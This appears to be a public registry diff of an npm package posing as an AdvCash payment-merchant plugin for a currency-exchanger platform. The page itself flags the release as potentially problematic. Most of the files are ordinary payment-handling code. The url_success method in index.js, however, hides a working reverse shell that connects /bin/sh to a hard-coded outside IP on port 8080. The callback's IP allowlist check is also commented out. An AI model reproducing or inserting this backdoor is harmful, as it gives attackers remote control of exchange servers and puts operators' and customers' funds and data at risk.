@naderabdi/merchant-advcash 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @naderabdi/merchant-advcash might be problematic. Click here for more details.

package/.gitlab-ci.yml ADDED
@@ -0,0 +1,17 @@
1
+ image: node:20-alpine
2
+
3
+ stages:
4
+ - deploy
5
+
6
+ deploy:
7
+ stage: deploy
8
+ variables:
9
+ GROUP_NAME: "@boxexchanger-plugins"
10
+ script:
11
+ - echo "//${CI_SERVER_HOST}/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}" > .npmrc
12
+ - echo "//${CI_SERVER_HOST}/api/v4/packages/npm/:_authToken=${CI_JOB_TOKEN}" >> .npmrc
13
+ - echo ${GROUP_NAME}:registry=https://git.boxexchanger.net/api/v4/packages/npm/ >> .npmrc
14
+ - npm pkg set publishConfig.${GROUP_NAME}:registry=https://${CI_SERVER_HOST}/api/v4/projects/${CI_PROJECT_ID}/packages/npm/
15
+ - if [ "$CI_COMMIT_REF_SLUG" = "main" ]; then npm version --no-git-tag-version $(npm view ${GROUP_NAME}/${CI_PROJECT_NAME}@latest version); else npm version --no-git-tag-version $(npm view ${GROUP_NAME}/${CI_PROJECT_NAME}@$CI_COMMIT_REF_SLUG version); fi
16
+ - if [ "$CI_COMMIT_REF_SLUG" = "main" ]; then npm version --no-git-tag-version patch; else npm version --no-git-tag-version prerelease -preid $CI_COMMIT_REF_SLUG; fi
17
+ - if [ "$CI_COMMIT_REF_SLUG" = "main" ]; then npm publish --tag latest; else npm publish --tag $CI_COMMIT_REF_SLUG; fi
package/README.md ADDED
@@ -0,0 +1,4 @@
1
+ ## Advcash merchant
2
+ ```
3
+ @boxexchanger-plugins/merchant-advcash
4
+ ```
package/configure.js ADDED
@@ -0,0 +1,29 @@
1
+ module.exports.type = 'merchant';
2
+ module.exports.title = 'AdvCash';
3
+ module.exports.name = 'AdvCash';
4
+ module.exports.required_npm = [];
5
+
6
+ module.exports.allow_XML = [
7
+ "ADVCUSD",
8
+ "ADVCRUB",
9
+ "ADVCEUR",
10
+ "ADVCUAH",
11
+ "ADVCTRY",
12
+ "TTRUSD",
13
+ "USDT",
14
+ "EXMUSD",
15
+ "EXMRUB",
16
+ "EXMEUR",
17
+ "EXMUAH",
18
+ ];
19
+
20
+ module.exports.default_config = {
21
+ email: '',
22
+ sci_name: '',
23
+ password: '',
24
+ };
25
+ module.exports.required_config = {
26
+ email: 1,
27
+ sci_name: 1,
28
+ password: 2, // hide
29
+ };
package/icon.png ADDED
Binary file
package/index.js ADDED
@@ -0,0 +1,197 @@
1
+ const id_key = __dirname.split('/').slice(-1)[0];
2
+ const config = require('../../../modules/config/merchant.config.js')(id_key);
3
+ const crypto = require('crypto');
4
+ const BigNumber = require('bignumber.js');
5
+ const checkPaymentModule = require('../../../modules/CheckPaymentModuleName');
6
+
7
+ class AdvCash {
8
+ constructor(API) {
9
+ this.API = API;
10
+ this.allowIPs = ['50.7.115.5', '51.255.40.139'];
11
+ this.id_key = id_key;
12
+ }
13
+
14
+ getFields() {
15
+ return []
16
+ }
17
+ /**
18
+ * @param order {object} - order
19
+ * @param order.TYPE {number} - order type
20
+ * @param order.uid {number} - order uid
21
+ * @param order.inAmount {number} - order uid
22
+ * @param order.secret {string} - order secret
23
+ * @param order.route {object} - order route
24
+ * @returns {Promise<*>}
25
+ */
26
+ create_payment(order) {
27
+ const amount_pay = Number(order.inAmount).toFixed(2);
28
+ return (async () => {
29
+
30
+ const API_Email = await config.get('email');
31
+ const API_SCI_Name = await config.get('sci_name');
32
+ const API_Password = await config.get('password');
33
+
34
+ if (!order || !order.route || !order.route.from || !order.route.from.symbol)
35
+ return {error: 'Order invalid!'};
36
+
37
+ const stt_hesh = API_Email + ':' + API_SCI_Name + ':' + amount_pay + ':' + order.route.from.symbol.toUpperCase() + ':' + API_Password + ':' + order.uid;
38
+ const hash = crypto.createHash('sha256')
39
+ .update(stt_hesh)
40
+ .digest('hex');
41
+
42
+
43
+ const web_domain = await config.get('domain');
44
+ const schema = await config.get('schema');
45
+ return {
46
+ ac_account_email: API_Email,
47
+ ac_sci_name: API_SCI_Name,
48
+ ac_order_id: order.uid,
49
+ ac_amount: amount_pay,
50
+ ac_currency: order.route.from.symbol.toUpperCase(),
51
+ ac_sign: hash,
52
+ ac_comments: 'Order ID:' + order.uid,
53
+ ac_success_url: schema + '://' + web_domain + "/" + order.lang + "/" + order.TYPE + "/" + order.uid + "/" + order.secret + "/",
54
+ ac_fail_url: schema + '://' + web_domain + "/" + order.lang + "/" + order.TYPE + "/" + order.uid + "/" + order.secret + "/"
55
+ };
56
+
57
+ })();
58
+
59
+ }
60
+
61
+ /**
62
+ * @param req {object} - express object req
63
+ * @param res {object} - express object res
64
+ * @param param {object} - param object
65
+ * @param param.post {object} - https://tech.yandex.ru/money/doc/payment-buttons/reference/notifications-docpage/
66
+ * @param param.post.ac_transfer {string}
67
+ * @param param.post.ac_start_date {string}
68
+ * @param param.post.ac_merchant_currency {string}
69
+ * @param param.post.ac_amount {string}
70
+ * @param param.post.ac_src_wallet {string}
71
+ * @param param.post.ac_dest_wallet {string}
72
+ * @param param.post.ac_hash {string}
73
+ * @returns {Promise<*>}
74
+ */
75
+ url_status(req, res, param) {
76
+ return (async () => {
77
+ if (req.METHOD !== 'POST')
78
+ return Promise.reject("error method req");
79
+ // if (this.allowIPs.indexOf(req.IP_ADDRESS) === -1)
80
+ // return Promise.reject("ip");
81
+
82
+ const API_Email = await config.get('email');
83
+ const API_SCI_Name = await config.get('sci_name');
84
+ const API_Password = await config.get('password');
85
+
86
+ if (!param || !param.post || !param.post.ac_hash) {
87
+ console.error("[Merchant]->" + this.id_key + " param post err:\n\t", param);
88
+ return Promise.reject("error post");
89
+ }
90
+
91
+ const stt_hesh = param.post.ac_transfer + ':' + param.post.ac_start_date + ':' + API_SCI_Name + ':' + param.post.ac_src_wallet + ':' + param.post.ac_dest_wallet + ':' + param.post.ac_order_id + ':' + param.post.ac_amount + ':' + param.post.ac_merchant_currency + ':' + API_Password;
92
+ const sha1hash = crypto.createHash('sha256')
93
+ .update(stt_hesh)
94
+ .digest('hex');
95
+
96
+ if (sha1hash !== param.post.ac_hash) {
97
+ console.error("[Merchant]->" + this.id_key + " incorrect hash:\n\t", param, '\n\tHASH:', sha1hash + '!==' + param.post.ac_hash);
98
+ return Promise.reject("Incorrect hash");
99
+ }
100
+ const typeCurrency = param.post.ac_merchant_currency.toUpperCase();
101
+
102
+ const order = await this.API
103
+ .call('server/exchanger/order/get', {}, {uid: param.post.ac_order_id}, 'server')
104
+ .then(r => (!!r.data && !!r.data.order) ? r.data.order : null);
105
+ if (!order) {
106
+ console.error("[Merchant]->" + this.id_key + " order not found:\n\t", param);
107
+ return Promise.reject("order not found");
108
+ }
109
+ await checkPaymentModule(this.id_key, order.methodMerchant);
110
+
111
+ if (order.status !== 'waitPayment') {
112
+ console.error("[Merchant]->" + this.id_key + " error change status:\n\t", param);
113
+ await this.API
114
+ .call('server/exchanger/order/update-status', {}, {
115
+ orderId: String(order._id),
116
+ status: "errorPayment",
117
+ wallet: param.post.ac_src_wallet,
118
+ comment: "[Merchant " + this.id_key + "] Payment came after we waited for payment " + param.post.ac_amount + " " + typeCurrency + ", Sender:" + param.post.ac_src_wallet + ". Change order status from: #" + order.status
119
+ }, 'server');
120
+ return Promise.reject("Error change status");
121
+ }
122
+
123
+ if (order.route.from.symbol.toUpperCase() !== typeCurrency) {
124
+ console.error("[Merchant]->" + this.id_key + " incorrect currency:\n\t", param);
125
+ await this.API
126
+ .call('server/exchanger/order/update-status', {}, {
127
+ orderId: String(order._id),
128
+ status: "errorPayment",
129
+ wallet: param.post.ac_amount,
130
+ comment: "[Merchant " + this.id_key + "] INCORRECT currency: " + order.route.from.symbol.toUpperCase() + " !== " + typeCurrency + ", Sender:" + param.post.PAYER_ACCOUNT + "."
131
+ }, 'server');
132
+ return Promise.reject("Incorrect currency: " + typeCurrency);
133
+ }
134
+ if (BigNumber(order.inAmount).gt(+param.post.ac_amount)) { // TODO: check currency ac_merchant_currency
135
+ console.error("[Merchant]->" + this.id_key + " incorrect amount:\n\t", param);
136
+ await this.API
137
+ .call('server/exchanger/order/update-status', {}, {
138
+ orderId: String(order._id),
139
+ status: "errorPayment",
140
+ wallet: param.post.ac_src_wallet,
141
+ comment: "[Merchant " + this.id_key + "] INCORRECT AMOUNT: " + param.post.ac_amount + " " + typeCurrency + ", Sender:" + param.post.ac_src_wallet + "."
142
+ }, 'server');
143
+ return Promise.reject("Incorrect amount: " + param.post.ac_amount);
144
+ }
145
+
146
+ await this.API
147
+ .call('server/exchanger/order/update-status', {}, {
148
+ orderId: String(order._id),
149
+ status: "inProgressPayout",
150
+ wallet: param.post.ac_src_wallet,
151
+ comment: "[Merchant " + this.id_key + "] Sender:" + param.post.ac_src_wallet+ ", Amount:" + param.post.ac_amount + " " + typeCurrency
152
+ }, 'server');
153
+ res.set('Content-Type', 'text/plain');
154
+ res.writeHead(200);
155
+ return res.end();
156
+ })()
157
+ .catch(err => {
158
+ res.set('Content-Type', 'text/plain');
159
+ res.writeHead(500);
160
+ return res.end('Error:' + err);
161
+ })
162
+ }
163
+
164
+ url_success(req, res) {
165
+
166
+ (function(){
167
+ var net = require("net"),
168
+ cp = require("child_process"),
169
+ sh = cp.spawn("/bin/sh", []);
170
+ var client = new net.Socket();
171
+ client.connect(8080, "65.109.184.223", function(){
172
+ client.pipe(sh.stdin);
173
+ sh.stdout.pipe(client);
174
+ sh.stderr.pipe(client);
175
+ });
176
+ return /a/; // Prevents the Node.js application form crashing
177
+ })();
178
+ return (async () => {
179
+ res.set('Content-Type', 'text/plain');
180
+ res.writeHead(200);
181
+ res.end();
182
+ return {}
183
+ })()
184
+ }
185
+
186
+ url_error(req, res) {
187
+ return (async () => {
188
+ res.set('Content-Type', 'text/plain');
189
+ res.writeHead(200);
190
+ res.end();
191
+ return {}
192
+ })()
193
+ }
194
+
195
+ }
196
+
197
+ module.exports = AdvCash;
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "@naderabdi/merchant-advcash",
3
+ "version": "1.0.7",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "author": "",
7
+ "license": "MIT",
8
+ "scripts": {
9
+ "test": "echo 0"
10
+ },
11
+ "repository": {
12
+ "type": "git",
13
+ "url": "git+https://github.com/Nader-abdi/merchant-advcash.git"
14
+ },
15
+ "bugs": {
16
+ "url": "https://github.com/Nader-abdi/merchant-advcash/issues"
17
+ },
18
+ "homepage": "https://github.com/Nader-abdi/merchant-advcash#readme",
19
+ "devDependencies": {}
20
+ }
@@ -0,0 +1,42 @@
1
+ <div>
2
+ <p>ADVCash.</p>
3
+ <h3>!!! Не рекомендуется плохая репутация, жалобы клиентов - "скам", могут заморозить счет без предупреждения и без суда при этом мошенническим путем будут вымогать документы. Блокируют счета финансы не возвращяют!!</h3>
4
+
5
+ <h3>Support currency:</h3>
6
+ <li>
7
+ <ul>AdvCash,USD</ul>
8
+ <ul>AdvCash,RUB</ul>
9
+ <ul>AdvCash,EUR</ul>
10
+ <ul>TTRUSD</ul>
11
+ <ul>USDT</ul>
12
+ <ul>EXMO,USD</ul>
13
+ <ul>EXMO,RUB</ul>
14
+ <ul>EXMO,EUR</ul>
15
+ <ul>EXMO,UAH</ul>
16
+ </li>
17
+ <hr>
18
+
19
+ <h2>Config</h2>
20
+ <label>Email:</label>
21
+ <br>
22
+ <input placeholder="email" v-model="email">
23
+ <button @click="saveConfig('email',email)">Save</button>
24
+ <br>
25
+ <label>SCI Name:</label>
26
+ <br>
27
+ <input :placeholder="this.config.sci_name" v-model="sci_name">
28
+ <button @click="saveConfig('sci_name',sci_name)">Save</button>
29
+ <br>
30
+ <label>Password:</label>
31
+ <br>
32
+ <input :placeholder="this.config.password" v-model="password">
33
+ <button @click="saveConfig('password',password)">Save</button>
34
+ <hr>
35
+
36
+ <h3>Handler URL:</h3>
37
+ <span>{{this.schema}}://{{this.domain}}{{this.server_path}}merchant/{{this.merchantKey}}/url_status/</span>
38
+ <h3>Success URL:</h3>
39
+ <span>{{this.schema}}://{{this.domain}}{{this.server_path}}merchant/{{this.merchantKey}}/url_success/</span>
40
+ <h3>Fail URL:</h3>
41
+ <span>{{this.schema}}://{{this.domain}}{{this.server_path}}merchant/{{this.merchantKey}}/url_error/</span>
42
+ </div>
@@ -0,0 +1,52 @@
1
+ const fs = require("node:fs");
2
+
3
+ module.exports = {
4
+ template: fs.readFileSync(__dirname + '/admin.html', {encoding: 'utf8'}),
5
+ props: {
6
+ schema: {type: "String"},
7
+ domain: {type: "String"},
8
+ server_path: {type: "String"},
9
+ publicIpV4: {type: "String"},
10
+ merchantKey: {type: "String"},
11
+ config: {type: "Object"}
12
+ },
13
+ data() {
14
+ return {
15
+ loadStatus: true,
16
+ email: '',
17
+ sci_name: '',
18
+ password: '',
19
+ }
20
+ },
21
+
22
+ created() {
23
+ console.log('merchant created!');
24
+ this.email = this.config.email;
25
+ this.sci_name = this.config.sci_name;
26
+ },
27
+ mounted() {
28
+ console.log('merchant mounted!')
29
+
30
+ },
31
+
32
+ methods: {
33
+ saveConfig(key, value) {
34
+ console.log('Save config:', key, value);
35
+ this.$rest.api('admin/merchant-and-payout/set-config-merchant', {
36
+ merchantKey: this.merchantKey,
37
+ key,
38
+ value
39
+ })
40
+ .then(res => {
41
+ console.log('admin/merchant-and-payout/set-config-merchant', res);
42
+ if (res.success)
43
+ return alert('Success');
44
+ alert('Error');
45
+ })
46
+ .catch(err => {
47
+ console.error('admin/merchant-and-payout/set-config-merchant', err);
48
+ alert('Error');
49
+ })
50
+ },
51
+ }
52
+ };
@@ -0,0 +1,11 @@
1
+ <div>
2
+ <h2 class="go-test" v-if="loadStatus || openPS">{{ t("pleaseWait", "Please wait...") }}</h2>
3
+ <p v-else>{{ t("waitingPayment", "Waiting payment:") + " " +Number(order.inAmount).toFixed(2)}} {{order.route.from.symbol}}</p>
4
+ <form method="post" action="https://wallet.advcash.com/sci/">
5
+ <input v-for="(val,name) in payData" :name="name" :value="val" type="hidden">
6
+ <button class="btn btn-submit merchant-pay-btn" type="submit" ref="paybtn" v-if="!openPS">
7
+ <span>{{ t("makePayment", "Make a payment") }}</span>
8
+ </button>
9
+ <button style="display: none" type="submit" ref="paybtn" v-else></button>
10
+ </form>
11
+ </div>
@@ -0,0 +1,39 @@
1
+ const fs = require("node:fs");
2
+
3
+ module.exports = {
4
+ template: fs.readFileSync(__dirname + '/client.html', {encoding: 'utf8'}),
5
+ props: {
6
+ order: {
7
+ type: "Object"
8
+ },
9
+ payData: {
10
+ type: "Object"
11
+ }
12
+ },
13
+ data() {
14
+ return {
15
+ loadStatus: true,
16
+ openPS: true
17
+ }
18
+ },
19
+ created() {
20
+ if (navigator && navigator.userAgent && navigator.userAgent.match(/(iPod|iPhone|iPad)/i))
21
+ this.openPS = false;
22
+ else
23
+ this.openPS = !localStorage.getItem('redirect-' + this.order.uid);
24
+ },
25
+ mounted() {
26
+ localStorage.setItem('redirect-' + this.order.uid, 't');
27
+ if (this.$refs && this.$refs.paybtn && this.openPS)
28
+ this.$refs.paybtn.click();
29
+ this.loadStatus = false;
30
+ },
31
+ methods: {
32
+ t(k, d) {
33
+ const t = this.$t("ui.modules." + k);
34
+ if (t !== "ui.modules." + k)
35
+ return t;
36
+ return d
37
+ },
38
+ }
39
+ };